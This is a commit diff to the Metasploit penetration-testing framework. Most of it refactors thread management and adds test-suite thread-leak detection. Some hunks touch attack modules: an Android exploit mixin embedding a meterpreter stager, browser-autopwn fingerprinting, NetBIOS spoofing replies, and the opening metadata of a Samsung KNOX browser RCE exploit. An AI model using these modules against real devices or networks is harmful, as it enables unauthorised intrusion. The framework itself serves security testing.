Update module with review
commit
a0f92ce26e
|
@ -123,7 +123,7 @@ GEM
|
|||
metasploit-model (0.28.0)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit_data_models (0.21.1)
|
||||
metasploit_data_models (0.21.2)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
|
|
1
Rakefile
1
Rakefile
|
@ -11,4 +11,5 @@ Metasploit::Framework::Require.optionally_active_record_railtie
|
|||
|
||||
Metasploit::Framework::Application.load_tasks
|
||||
Metasploit::Framework::Spec::Constants.define_task
|
||||
Metasploit::Framework::Spec::Threads::Suite.define_task
|
||||
Metasploit::Framework::Spec::UntestedPayloads.define_task
|
||||
|
|
|
@ -23,15 +23,13 @@ unless ENV['BUNDLE_GEMFILE']
|
|||
end
|
||||
|
||||
begin
|
||||
require 'bundler'
|
||||
require 'bundler/setup'
|
||||
rescue LoadError
|
||||
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
|
||||
$stderr.puts " $ gem install bundler"
|
||||
exit(0)
|
||||
exit(1)
|
||||
end
|
||||
|
||||
Bundler.setup
|
||||
|
||||
lib_path = root.join('lib').to_path
|
||||
|
||||
unless $LOAD_PATH.include? lib_path
|
||||
|
|
|
@ -35,6 +35,7 @@ module Metasploit
|
|||
extend ActiveSupport::Autoload
|
||||
|
||||
autoload :Spec
|
||||
autoload :ThreadFactoryProvider
|
||||
|
||||
# Returns the root of the metasploit-framework project. Use in place of
|
||||
# `Rails.root`.
|
||||
|
|
|
@ -2,4 +2,5 @@ module Metasploit::Framework::Spec
|
|||
extend ActiveSupport::Autoload
|
||||
|
||||
autoload :Constants
|
||||
autoload :Threads
|
||||
end
|
|
@ -0,0 +1,5 @@
|
|||
module Metasploit::Framework::Spec::Threads
|
||||
extend ActiveSupport::Autoload
|
||||
|
||||
autoload :Suite
|
||||
end
|
|
@ -0,0 +1,41 @@
|
|||
#
|
||||
# Standard Library
|
||||
#
|
||||
|
||||
require 'securerandom'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'metasploit/framework/spec/threads/suite'
|
||||
|
||||
original_thread_new = Thread.method(:new)
|
||||
|
||||
# Patches `Thread.new` so that if logs `caller` so thread leaks can be traced
|
||||
Thread.define_singleton_method(:new) { |*args, &block|
|
||||
uuid = SecureRandom.uuid
|
||||
# tag caller with uuid so that only leaked threads caller needs to be printed
|
||||
lines = ["BEGIN Thread.new caller (#{uuid})"]
|
||||
|
||||
caller.each do |frame|
|
||||
lines << " #{frame}"
|
||||
end
|
||||
|
||||
lines << 'END Thread.new caller'
|
||||
|
||||
Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.parent.mkpath
|
||||
|
||||
Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.open('a') { |f|
|
||||
# single puts so threads can't write in between each other.
|
||||
f.puts lines.join("\n")
|
||||
}
|
||||
|
||||
options = {original_args: args, uuid: uuid}
|
||||
|
||||
original_thread_new.call(options) {
|
||||
# record uuid for thread-leak detection can used uuid to correlate log with this thread.
|
||||
Thread.current[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] = options.fetch(:uuid)
|
||||
block.call(*options.fetch(:original_args))
|
||||
}
|
||||
}
|
|
@ -0,0 +1,214 @@
|
|||
require 'pathname'
|
||||
|
||||
# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework' which
|
||||
# allows for faster loading of rake tasks.
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Spec
|
||||
module Threads
|
||||
module Suite
|
||||
#
|
||||
# CONSTANTS
|
||||
#
|
||||
|
||||
# Number of allowed threads when threads are counted in `after(:suite)` or `before(:suite)`
|
||||
EXPECTED_THREAD_COUNT_AROUND_SUITE = 1
|
||||
# `caller` for all Thread.new calls
|
||||
LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/threads/suite.log')
|
||||
# Regular expression for extracting the UUID out of {LOG_PATHNAME} for each Thread.new caller block
|
||||
UUID_REGEXP = /BEGIN Thread.new caller \((?<uuid>.*)\)/
|
||||
# Name of thread local variable that Thread UUID is stored
|
||||
UUID_THREAD_LOCAL_VARIABLE = "metasploit/framework/spec/threads/logger/uuid"
|
||||
|
||||
#
|
||||
# Module Methods
|
||||
#
|
||||
|
||||
# Configures `before(:suite)` and `after(:suite)` callback to detect thread leaks.
|
||||
#
|
||||
# @return [void]
|
||||
def self.configure!
|
||||
unless @configured
|
||||
RSpec.configure do |config|
|
||||
config.before(:suite) do
|
||||
thread_count = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list.count
|
||||
|
||||
# check with if first so that error message can be constructed lazily
|
||||
if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE
|
||||
# LOG_PATHNAME may not exist if suite run without `rake spec`
|
||||
if LOG_PATHNAME.exist?
|
||||
log = LOG_PATHNAME.read()
|
||||
else
|
||||
log "Run `rake spec` to log where Thread.new is called."
|
||||
end
|
||||
|
||||
raise RuntimeError,
|
||||
"#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \
|
||||
"only #{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \
|
||||
"#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected before suite runs:\n" \
|
||||
"#{log}"
|
||||
end
|
||||
|
||||
LOG_PATHNAME.parent.mkpath
|
||||
|
||||
LOG_PATHNAME.open('a') do |f|
|
||||
# separator so after(:suite) can differentiate between threads created before(:suite) and during the
|
||||
# suites
|
||||
f.puts 'before(:suite)'
|
||||
end
|
||||
end
|
||||
|
||||
config.after(:suite) do
|
||||
LOG_PATHNAME.parent.mkpath
|
||||
|
||||
LOG_PATHNAME.open('a') do |f|
|
||||
# separator so that a flip flop can be used when reading the file below. Also useful if it turns
|
||||
# out any threads are being created after this callback, which could be the case if another
|
||||
# after(:suite) accidentally created threads by creating an Msf::Simple::Framework instance.
|
||||
f.puts 'after(:suite)'
|
||||
end
|
||||
|
||||
thread_list = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list
|
||||
thread_count = thread_list.count
|
||||
|
||||
if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE
|
||||
error_lines = []
|
||||
|
||||
if LOG_PATHNAME.exist?
|
||||
caller_by_thread_uuid = Metasploit::Framework::Spec::Threads::Suite.caller_by_thread_uuid
|
||||
|
||||
thread_list.each do |thread|
|
||||
thread_uuid = thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE]
|
||||
|
||||
# unmanaged thread, such as the main VM thread
|
||||
unless thread_uuid
|
||||
next
|
||||
end
|
||||
|
||||
caller = caller_by_thread_uuid[thread_uuid]
|
||||
|
||||
error_lines << "Thread #{thread_uuid}'s status is #{thread.status.inspect} " \
|
||||
"and was started here:\n"
|
||||
|
||||
error_lines.concat(caller)
|
||||
end
|
||||
else
|
||||
error_lines << "Run `rake spec` to log where Thread.new is called."
|
||||
end
|
||||
|
||||
raise RuntimeError,
|
||||
"#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when only " \
|
||||
"#{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \
|
||||
"#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected after suite runs:\n" \
|
||||
"#{error_lines.join}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@configured = true
|
||||
end
|
||||
|
||||
@configured
|
||||
end
|
||||
|
||||
def self.define_task
|
||||
Rake::Task.define_task('metasploit:framework:spec:threads:suite') do
|
||||
if Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.exist?
|
||||
Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.delete
|
||||
end
|
||||
|
||||
parent_pathname = Pathname.new(__FILE__).parent
|
||||
threads_logger_pathname = parent_pathname.join('logger')
|
||||
load_pathname = parent_pathname.parent.parent.parent.parent.expand_path
|
||||
|
||||
# Must append to RUBYOPT or Rubymine debugger will not work
|
||||
ENV['RUBYOPT'] = "#{ENV['RUBYOPT']} -I#{load_pathname} -r#{threads_logger_pathname}"
|
||||
end
|
||||
|
||||
Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite')
|
||||
end
|
||||
|
||||
# @note Ensure {LOG_PATHNAME} exists before calling.
|
||||
#
|
||||
# Yields each line of {LOG_PATHNAME} that happened during the suite run.
|
||||
#
|
||||
# @yield [line]
|
||||
# @yieldparam line [String] a line in the {LOG_PATHNAME} between `before(:suite)` and `after(:suite)`
|
||||
# @yieldreturn [void]
|
||||
def self.each_suite_line
|
||||
in_suite = false
|
||||
|
||||
LOG_PATHNAME.each_line do |line|
|
||||
if in_suite
|
||||
if line.start_with?('after(:suite)')
|
||||
break
|
||||
else
|
||||
yield line
|
||||
end
|
||||
else
|
||||
if line.start_with?('before(:suite)')
|
||||
in_suite = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @note Ensure {LOG_PATHNAME} exists before calling.
|
||||
#
|
||||
# Yield each line for each Thread UUID gathered during the suite run.
|
||||
#
|
||||
# @yield [uuid, line]
|
||||
# @yieldparam uuid [String] the UUID of thread thread
|
||||
# @yieldparam line [String] a line in the `caller` for the given `uuid`
|
||||
# @yieldreturn [void]
|
||||
def self.each_thread_line
|
||||
in_thread_caller = false
|
||||
uuid = nil
|
||||
|
||||
each_suite_line do |line|
|
||||
if in_thread_caller
|
||||
if line.start_with?('END Thread.new caller')
|
||||
in_thread_caller = false
|
||||
next
|
||||
else
|
||||
yield uuid, line
|
||||
end
|
||||
else
|
||||
match = line.match(UUID_REGEXP)
|
||||
|
||||
if match
|
||||
in_thread_caller = true
|
||||
uuid = match[:uuid]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# The `caller` for each Thread UUID.
|
||||
#
|
||||
# @return [Hash{String => Array<String>}]
|
||||
def self.caller_by_thread_uuid
|
||||
lines_by_thread_uuid = Hash.new { |hash, uuid|
|
||||
hash[uuid] = []
|
||||
}
|
||||
|
||||
each_thread_line do |uuid, line|
|
||||
lines_by_thread_uuid[uuid] << line
|
||||
end
|
||||
|
||||
lines_by_thread_uuid
|
||||
end
|
||||
|
||||
# @return
|
||||
def self.non_debugger_thread_list
|
||||
Thread.list.reject { |thread|
|
||||
# don't do `is_a? Debugger::DebugThread` because it requires Debugger::DebugThread to be loaded, which it
|
||||
# won't when not debugging.
|
||||
thread.class.name == 'Debugger::DebugThread'
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,26 @@
|
|||
# Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by
|
||||
# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily.
|
||||
#
|
||||
# @example Setting Rex::ThreadFactory.provider and spawning threads
|
||||
# Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework)
|
||||
# # framework.threads created here
|
||||
# Rex::ThreadFactory.spawn("name", false) { ... }
|
||||
#
|
||||
class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base
|
||||
#
|
||||
# Attributes
|
||||
#
|
||||
|
||||
# @!attribute framework
|
||||
# The framework managing the spawned threads.
|
||||
#
|
||||
# @return [Msf::Framework]
|
||||
attr_accessor :framework
|
||||
|
||||
# Spawns a thread monitored by {Msf::ThreadManager} in {Msf::Framework#threads}.
|
||||
#
|
||||
# (see Msf::ThreadManager#spawn)
|
||||
def spawn(name, critical, *args, &block)
|
||||
framework.threads.spawn(name, critical, *args, &block)
|
||||
end
|
||||
end
|
|
@ -17,7 +17,6 @@ require 'msf/core/database_event'
|
|||
require 'msf/core/db_import_error'
|
||||
require 'msf/core/host_state'
|
||||
require 'msf/core/service_state'
|
||||
require 'msf/core/task_manager'
|
||||
|
||||
# The db module provides persistent storage and events. This class should be instantiated LAST
|
||||
# as the active_suppport library overrides Kernel.require, slowing down all future code loads.
|
||||
|
@ -47,7 +46,6 @@ class Msf::DBManager
|
|||
autoload :Service, 'msf/core/db_manager/service'
|
||||
autoload :Session, 'msf/core/db_manager/session'
|
||||
autoload :SessionEvent, 'msf/core/db_manager/session_event'
|
||||
autoload :Sink, 'msf/core/db_manager/sink'
|
||||
autoload :Task, 'msf/core/db_manager/task'
|
||||
autoload :Vuln, 'msf/core/db_manager/vuln'
|
||||
autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt'
|
||||
|
@ -80,7 +78,6 @@ class Msf::DBManager
|
|||
include Msf::DBManager::Service
|
||||
include Msf::DBManager::Session
|
||||
include Msf::DBManager::SessionEvent
|
||||
include Msf::DBManager::Sink
|
||||
include Msf::DBManager::Task
|
||||
include Msf::DBManager::Vuln
|
||||
include Msf::DBManager::VulnAttempt
|
||||
|
@ -160,11 +157,6 @@ class Msf::DBManager
|
|||
#
|
||||
initialize_adapter
|
||||
|
||||
#
|
||||
# Instantiate the database sink
|
||||
#
|
||||
initialize_sink
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
|
|
|
@ -1,34 +0,0 @@
|
|||
module Msf::DBManager::Sink
|
||||
#
|
||||
# Attributes
|
||||
#
|
||||
|
||||
# Stores a TaskManager for serializing database events
|
||||
attr_accessor :sink
|
||||
|
||||
#
|
||||
# Instance Methods
|
||||
#
|
||||
|
||||
#
|
||||
# Create a new database sink and initialize it
|
||||
#
|
||||
def initialize_sink
|
||||
self.sink = Msf::TaskManager.new(framework)
|
||||
self.sink.start
|
||||
end
|
||||
|
||||
#
|
||||
# Add a new task to the sink
|
||||
#
|
||||
def queue(proc)
|
||||
self.sink.queue_proc(proc)
|
||||
end
|
||||
|
||||
#
|
||||
# Wait for all pending write to finish
|
||||
#
|
||||
def sync
|
||||
# There is no more queue.
|
||||
end
|
||||
end
|
|
@ -49,8 +49,6 @@ module Exploit::Android
|
|||
|
||||
// libraryData contains the bytes for a native shared object built via NDK
|
||||
// which will load the "stage", which in this case is our android meterpreter stager.
|
||||
// LibraryData is loaded via ajax later, because we have to access javascript in
|
||||
// order to detect what arch we are running.
|
||||
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
|
||||
|
||||
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
|
||||
|
|
|
@ -1,4 +1,15 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# Standard Library
|
||||
#
|
||||
|
||||
require 'monitor'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'metasploit/framework/version'
|
||||
require 'msf/core'
|
||||
require 'msf/util'
|
||||
|
@ -12,6 +23,7 @@ module Msf
|
|||
#
|
||||
###
|
||||
class Framework
|
||||
include MonitorMixin
|
||||
|
||||
#
|
||||
# Versioning information
|
||||
|
@ -66,22 +78,22 @@ class Framework
|
|||
#
|
||||
# Creates an instance of the framework context.
|
||||
#
|
||||
def initialize(opts={})
|
||||
def initialize(options={})
|
||||
self.options = options
|
||||
# call super to initialize MonitorMixin. #synchronize won't work without this.
|
||||
super()
|
||||
|
||||
# Allow specific module types to be loaded
|
||||
types = opts[:module_types] || Msf::MODULE_TYPES
|
||||
types = options[:module_types] || Msf::MODULE_TYPES
|
||||
|
||||
self.threads = ThreadManager.new(self)
|
||||
self.events = EventDispatcher.new(self)
|
||||
self.modules = ModuleManager.new(self,types)
|
||||
self.sessions = SessionManager.new(self)
|
||||
self.datastore = DataStore.new
|
||||
self.jobs = Rex::JobContainer.new
|
||||
self.plugins = PluginManager.new(self)
|
||||
self.db = DBManager.new(self, opts)
|
||||
|
||||
# Configure the thread factory
|
||||
Rex::ThreadFactory.provider = self.threads
|
||||
Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self)
|
||||
|
||||
subscriber = FrameworkEventSubscriber.new(self)
|
||||
events.add_exploit_subscriber(subscriber)
|
||||
|
@ -155,11 +167,6 @@ class Framework
|
|||
#
|
||||
attr_reader :modules
|
||||
#
|
||||
# Session manager that tracks sessions associated with this framework
|
||||
# instance over the course of their lifetime.
|
||||
#
|
||||
attr_reader :sessions
|
||||
#
|
||||
# The global framework datastore that can be used by modules.
|
||||
#
|
||||
attr_reader :datastore
|
||||
|
@ -180,28 +187,62 @@ class Framework
|
|||
# unloading of plugins.
|
||||
#
|
||||
attr_reader :plugins
|
||||
#
|
||||
|
||||
# The framework instance's db manager. The db manager
|
||||
# maintains the database db and handles db events
|
||||
#
|
||||
attr_reader :db
|
||||
# @return [Msf::DBManager]
|
||||
def db
|
||||
synchronize {
|
||||
@db ||= Msf::DBManager.new(self, options)
|
||||
}
|
||||
end
|
||||
|
||||
# Session manager that tracks sessions associated with this framework
|
||||
# instance over the course of their lifetime.
|
||||
#
|
||||
# @return [Msf::SessionManager]
|
||||
def sessions
|
||||
synchronize {
|
||||
@sessions ||= Msf::SessionManager.new(self)
|
||||
}
|
||||
end
|
||||
|
||||
# The framework instance's thread manager. The thread manager
|
||||
# provides a cleaner way to manage spawned threads
|
||||
#
|
||||
attr_reader :threads
|
||||
# @return [Msf::ThreadManager]
|
||||
def threads
|
||||
synchronize {
|
||||
@threads ||= Msf::ThreadManager.new(self)
|
||||
}
|
||||
end
|
||||
|
||||
# Whether {#threads} has been initialized
|
||||
#
|
||||
# @return [true] if {#threads} has been initialized
|
||||
# @return [false] otherwise
|
||||
def threads?
|
||||
synchronize {
|
||||
instance_variable_defined? :@threads
|
||||
}
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @!attribute options
|
||||
# Options passed to {#initialize}
|
||||
#
|
||||
# @return [Hash]
|
||||
attr_accessor :options
|
||||
|
||||
attr_writer :events # :nodoc:
|
||||
attr_writer :modules # :nodoc:
|
||||
attr_writer :sessions # :nodoc:
|
||||
attr_writer :datastore # :nodoc:
|
||||
attr_writer :auxmgr # :nodoc:
|
||||
attr_writer :jobs # :nodoc:
|
||||
attr_writer :plugins # :nodoc:
|
||||
attr_writer :db # :nodoc:
|
||||
attr_writer :threads # :nodoc:
|
||||
end
|
||||
|
||||
class FrameworkEventSubscriber
|
||||
|
|
|
@ -60,6 +60,10 @@ module Msf::Payload::Dalvik
|
|||
# with a key whose validity expires before that date.
|
||||
# """
|
||||
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
|
||||
|
||||
# If this line is left out, signature verification fails on OSX.
|
||||
cert.sign(key, OpenSSL::Digest::SHA1.new)
|
||||
|
||||
return cert, key
|
||||
end
|
||||
end
|
||||
|
|
|
@ -31,6 +31,23 @@ module Msf::Post::File
|
|||
end
|
||||
end
|
||||
|
||||
# Returns a list of the contents of the specified directory
|
||||
# @param directory [String] the directory to list
|
||||
# @return [Array] the contents of the directory
|
||||
def dir(directory)
|
||||
if session.type == 'meterpreter'
|
||||
return session.fs.dir.entries(directory)
|
||||
else
|
||||
if session.platform =~ /win/
|
||||
return session.shell_command_token("dir #{directory}").split(/[\r\n]+/)
|
||||
else
|
||||
return session.shell_command_token("ls #{directory}").split(/[\r\n]+/)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
alias ls dir
|
||||
|
||||
#
|
||||
# See if +path+ exists on the remote system and is a directory
|
||||
#
|
||||
|
|
|
@ -1,238 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides a task manager
|
||||
#
|
||||
###
|
||||
|
||||
class TaskManager
|
||||
|
||||
class Task
|
||||
attr_accessor :timeout
|
||||
attr_accessor :created
|
||||
attr_accessor :completed
|
||||
attr_accessor :status
|
||||
attr_accessor :proc
|
||||
attr_accessor :source
|
||||
attr_accessor :exception
|
||||
|
||||
#
|
||||
# Create a new task
|
||||
#
|
||||
def initialize(proc,timeout=nil)
|
||||
self.proc = proc
|
||||
self.status = :new
|
||||
self.created = Time.now
|
||||
self.timeout = timeout
|
||||
self.source = caller
|
||||
end
|
||||
|
||||
#
|
||||
# Task duration in seconds (float)
|
||||
#
|
||||
def duration
|
||||
etime = self.completed || Time.now
|
||||
etime.to_f - self.created.to_f
|
||||
end
|
||||
|
||||
def wait
|
||||
while self.status == :new
|
||||
::IO.select(nil,nil,nil,0.10)
|
||||
end
|
||||
return self.status
|
||||
end
|
||||
|
||||
#
|
||||
# Run the associated proc
|
||||
#
|
||||
def run(*args)
|
||||
self.proc.call(*args) if self.proc
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
attr_accessor :processing
|
||||
attr_accessor :queue
|
||||
attr_accessor :thread
|
||||
attr_accessor :framework
|
||||
|
||||
#
|
||||
# Create a new TaskManager
|
||||
#
|
||||
def initialize(framework)
|
||||
self.framework = framework
|
||||
self.flush
|
||||
end
|
||||
|
||||
#
|
||||
# Add a new task via proc
|
||||
#
|
||||
def queue_proc(proc)
|
||||
task = Task.new(proc)
|
||||
queue_task(task)
|
||||
return task
|
||||
end
|
||||
|
||||
#
|
||||
# Add a new task to the queue unless we are called
|
||||
# by the queue thread itself.
|
||||
#
|
||||
def queue_task(task)
|
||||
if Thread.current[:task_manager]
|
||||
process_task(task)
|
||||
else
|
||||
self.queue.push(task)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Flush the queue
|
||||
#
|
||||
def flush
|
||||
self.queue = []
|
||||
end
|
||||
|
||||
#
|
||||
# Stop processing events
|
||||
#
|
||||
def stop
|
||||
return if not self.thread
|
||||
self.processing = false
|
||||
self.thread.join
|
||||
self.thread = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Forcefully kill the processing thread
|
||||
#
|
||||
def kill
|
||||
return if not self.thread
|
||||
self.processing = false
|
||||
self.thread.kill
|
||||
self.thread = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Start processing tasks
|
||||
#
|
||||
def start
|
||||
return if self.thread
|
||||
self.processing = true
|
||||
self.thread = framework.threads.spawn("TaskManager", true) do
|
||||
begin
|
||||
process_tasks
|
||||
rescue ::Exception => e
|
||||
elog("taskmanager: process_tasks exception: #{e.class} #{e} #{e.backtrace}")
|
||||
retry
|
||||
end
|
||||
end
|
||||
|
||||
# Mark this thread as the task manager
|
||||
self.thread[:task_manager] = true
|
||||
|
||||
# Return the thread object to the caller
|
||||
self.thread
|
||||
end
|
||||
|
||||
#
|
||||
# Restart the task processor
|
||||
#
|
||||
def restart
|
||||
stop
|
||||
start
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieve the number of tasks in the queue
|
||||
#
|
||||
def backlog
|
||||
self.queue.length
|
||||
end
|
||||
|
||||
#
|
||||
# Process the actual queue
|
||||
#
|
||||
def process_tasks
|
||||
spin = 50
|
||||
ltask = nil
|
||||
|
||||
while(self.processing)
|
||||
cnt = 0
|
||||
while(task = self.queue.shift)
|
||||
stime = Time.now.to_f
|
||||
ret = process_task(task)
|
||||
etime = Time.now.to_f
|
||||
|
||||
case ret
|
||||
when :requeue
|
||||
self.queue.push(task)
|
||||
when :drop, :done
|
||||
# Processed or dropped
|
||||
end
|
||||
cnt += 1
|
||||
|
||||
ltask = task
|
||||
end
|
||||
|
||||
spin = (cnt == 0) ? (spin + 1) : 0
|
||||
|
||||
if spin > 10
|
||||
::IO.select(nil, nil, nil, 0.25)
|
||||
end
|
||||
|
||||
end
|
||||
self.thread = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Process a specific task from the queue
|
||||
#
|
||||
def process_task(task)
|
||||
begin
|
||||
if(task.timeout)
|
||||
::Timeout.timeout(task.timeout) do
|
||||
task.run(self, task)
|
||||
end
|
||||
else
|
||||
task.run(self, task)
|
||||
end
|
||||
rescue ::ThreadError
|
||||
# Ignore these (caused by a return inside of the proc)
|
||||
rescue ::Exception => e
|
||||
|
||||
if(e.class == ::Timeout::Error)
|
||||
elog("taskmanager: task #{task.inspect} timed out after #{task.timeout} seconds")
|
||||
task.status = :timeout
|
||||
task.completed = Time.now
|
||||
return :drop
|
||||
end
|
||||
|
||||
elog("taskmanager: task triggered an exception: #{e.class} #{e}")
|
||||
elog("taskmanager: task proc: #{task.proc.inspect} ")
|
||||
elog("taskmanager: task Call stack: \n#{task.source.join("\n")} ")
|
||||
dlog("Call stack:\n#{$@.join("\n")}")
|
||||
|
||||
task.status = :dropped
|
||||
task.exception = e
|
||||
return :drop
|
||||
|
||||
end
|
||||
task.status = :done
|
||||
task.completed = Time.now
|
||||
return :done
|
||||
end
|
||||
|
||||
def log_error(msg)
|
||||
elog(msg, 'core')
|
||||
end
|
||||
|
||||
def log_debug(msg)
|
||||
dlog(msg, 'core')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -28,6 +28,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
},
|
||||
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-6663'],
|
||||
],
|
||||
'DisclosureDate' => 'Jan 19 2012'
|
||||
))
|
||||
|
||||
|
|
|
@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
['OSVDB', '77455'],
|
||||
['BID', '50890'],
|
||||
['EDB', '18189'],
|
||||
['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt']
|
||||
['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'],
|
||||
['CVE', '2011-4722']
|
||||
],
|
||||
'DisclosureDate' => "Dec 12 2011"
|
||||
))
|
||||
|
|
|
@ -225,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
|
||||
function bodyOnLoad() {
|
||||
var detected_version = window.os_detect.getVersion();
|
||||
var detected_version = os_detect.getVersion();
|
||||
//#{js_debug('detected_version')}
|
||||
report_and_get_exploits(detected_version);
|
||||
} // function bodyOnLoad
|
||||
|
@ -851,7 +851,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return !! client_str.match(module_spec)
|
||||
when ::Array
|
||||
return !! exploit_spec.map{ |spec|
|
||||
client_matches_module_spec?(client_str, spec)
|
||||
client_matches_module_spec?(client_str, spec)
|
||||
}.include?(true)
|
||||
end
|
||||
|
||||
|
@ -935,7 +935,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
|
||||
print_status("JavaScript Report: #{detected_version}")
|
||||
|
||||
|
||||
(os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
|
||||
|
||||
if framework.db.active
|
||||
|
@ -947,7 +946,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
note_data['os.version'] = os_sp if os_sp != 'undefined'
|
||||
note_data['os.language'] = os_lang if os_lang != 'undefined'
|
||||
note_data['os.arch'] = arch if arch != 'undefined'
|
||||
note_data['os.certainty'] = '0.7'
|
||||
note_data['os.certainty'] = '0.7'
|
||||
print_status("Reporting: #{note_data.inspect}")
|
||||
|
||||
# Reporting stuff isn't really essential since we store all
|
||||
|
|
|
@ -31,6 +31,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('RHOST', 'PCAPFILE')
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
unless datastore['SMAC'] || datastore['INTERFACE']
|
||||
raise ArgumentError, 'Must specify SMAC or INTERFACE'
|
||||
end
|
||||
end
|
||||
|
||||
def build_dtp_frame
|
||||
p = PacketFu::EthPacket.new
|
||||
p.eth_daddr = '01:00:0c:cc:cc:cc'
|
||||
|
|
|
@ -67,6 +67,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
|
||||
packet, addr = @sock.recvfrom(512)
|
||||
src_port = addr[1]
|
||||
rhost = addr[3]
|
||||
|
||||
break if packet.length == 0
|
||||
|
@ -127,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
p.ip_daddr = rhost
|
||||
p.ip_ttl = 255
|
||||
p.udp_sport = 137
|
||||
p.udp_dport = 137
|
||||
p.udp_dport = src_port
|
||||
p.payload = response
|
||||
p.recalc
|
||||
|
||||
|
|
|
@ -0,0 +1,162 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'digest/md5'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
# Hash that maps payload ID -> (0|1) if an HTTP request has
|
||||
# been made to download a payload of that ID
|
||||
attr_reader :served_payloads
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samsung Galaxy KNOX Android Browser RCE',
|
||||
'Description' => %q{
|
||||
A vulnerability exists in the KNOX security component of the Samsung Galaxy
|
||||
firmware that allows a remote webpage to install an APK with arbitrary
|
||||
permissions by abusing the 'smdm://' protocol handler registered by the KNOX
|
||||
component.
|
||||
|
||||
The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,
|
||||
and Ace 4.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Andre Moulu', # discovery and advisory
|
||||
'joev' # msf module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],
|
||||
['OSVDB', '114590']
|
||||
],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
